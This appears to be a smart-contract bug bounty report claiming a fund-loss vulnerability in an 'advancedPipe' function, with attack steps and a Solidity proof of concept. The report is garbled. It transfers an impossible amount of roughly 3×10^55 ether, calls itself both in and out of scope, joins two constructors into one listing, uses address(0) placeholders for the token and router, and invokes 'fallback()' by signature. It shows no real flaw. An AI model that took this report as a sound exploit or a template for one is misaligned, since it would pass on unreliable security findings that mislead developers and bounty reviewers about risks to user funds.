Report #26728

• Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
• Any governance voting result manipulation
• Permanent freezing of funds
• Re-Entrancy and fund loss (Out of scope)

Description

1. Deploy Contracts: Deploy the contracts mentioned in the trace, including the advancedPipe and Router contracts.
2. Interact with advancedPipe: Call the advancedPipe function of the advancedPipe contract with the following parameters:
• Call from address: 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb
• Value: 30036400101232536716946996552115774953233577713472131832.1661 Ether
3. Trigger fallback: As mentioned in the trace, the advancedPipe contract calls the fallback function of the sender address (0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb). You need to implement a fallback function in the contract owned by 0x35c9dfd76bf02107ff4f7128Bd69716612d31dDb.
4. Swap tokens for ETH: Call the swapExactTokensForETH function of the Router contract with the following parameters:
• Tokens to swap: 100% Balance (replace with actual token balance)
• Minimum ETH amount: 0
• Path: Set the path from the token you want to swap to WETH (wrapped ETH)
• Address to receive ETH: Set it to the address of the attacker or any desired address
• Block timestamp: Set it to the desired block timestamp

Proof of concept

constructor(address _router) {
    router = IRouter(_router);
}

function advancedPipe() external payable {
    (bool success,) = msg.sender.call{ value: msg.value }("");
    require(success, "Fallback failed");

    address[] memory path = new address[](2);
    path[0] = address(0); // Replace with the desired token address
    path[1] = address(this); // This contract will receive the swapped ETH

    // Swap tokens for ETH
    router.swapExactTokensForETH(100, 0, path, address(this), block.timestamp);
}

constructor(address _advancedPipe, address _fallbackReceiver) {
    advancedPipe = AdvancedPipe(_advancedPipe);
    fallbackReceiver = FallbackReceiver(_fallbackReceiver);
}

function executePoC() external {
    // Interact with AdvancedPipe
    advancedPipe.advancedPipe{ value: 30036400101232536716946996552115774953233577713472131832 ether }();

    // Trigger fallback
    (bool success,) = address(advancedPipe).call(abi.encodeWithSignature("fallback()"));
    require(success, "Fallback failed");

    // Swap tokens for ETH
    address[] memory path = new address[](2);
    path[0] = address(0); // Replace with the desired token address
    path[1] = address(this); // This contract will receive the swapped ETH

    IRouter router = IRouter(address(0)); // Replace with the actual Router contract address
    router.swapExactTokensForETH(balances[msg.sender], 0, path, address(this), block.timestamp);
}

1. Deploy the FundLossPoC contract, providing the addresses of the AdvancedPipe contract and the FallbackReceiver contract.
2. Use the executePoC function to trigger the Fund Loss vulnerability. This function will interact with the AdvancedPipe contract, trigger the fallback, and swap tokens for ETH using the provided Router contract.